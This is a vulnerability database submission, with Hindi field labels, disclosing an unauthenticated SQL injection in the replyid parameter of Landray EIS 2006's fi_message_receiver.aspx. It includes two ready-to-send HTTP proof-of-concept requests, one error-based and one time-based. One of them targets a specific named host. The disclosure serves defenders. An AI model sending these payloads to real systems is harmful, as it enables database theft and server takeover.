| शीर्षक | Shenzhen Lanling Software Co., Ltd. Lanling EIS smart collaboration platform Landray EIS 2006 SQL Injection |
|---|
| विवरण | There is a SQL injection vulnerability in the fi_message_receiver.aspx interface of Lanling EIS Smart Collaboration Platform. Unauthenticated malicious attackers can use SQL injection vulnerabilities to obtain information in the database (such as administrator background passwords, site user personal information). Attackers can even write commands to the server with high privileges to further obtain server system permissions.
poc1：
GET /Message/fi_message_receiver.aspx?replyid=1%20and%201=@@version--+ HTTP/1.1
Host: oa.rejork.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: keep-alive
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
poc2：
GET /Message/fi_message_receiver.aspx?replyid=1%20WAITFOR%20DELAY%20'0%3a0%3a4'--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: keep-alive
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 |
|---|
| स्रोत | ⚠️ https://flowus.cn/1c4b6879-e42c-43fb-8cfd-5de35ff2f407 |
|---|
| उपयोगकर्ता | afish (UID 82290) |
|---|
| सबमिशन | 04/03/2025 07:41 AM (2 साल पहले) |
|---|
| संयम | 06/03/2025 03:14 PM (2 days later) |
|---|
| स्थिति | प्रतिलिपि |
|---|
| VulDB प्रविष्टि | 289935 [Landray EIS तक 2006 fi_message_receiver.aspx replyid SQL इंजेक्शन] |
|---|
| अंक | 0 |
|---|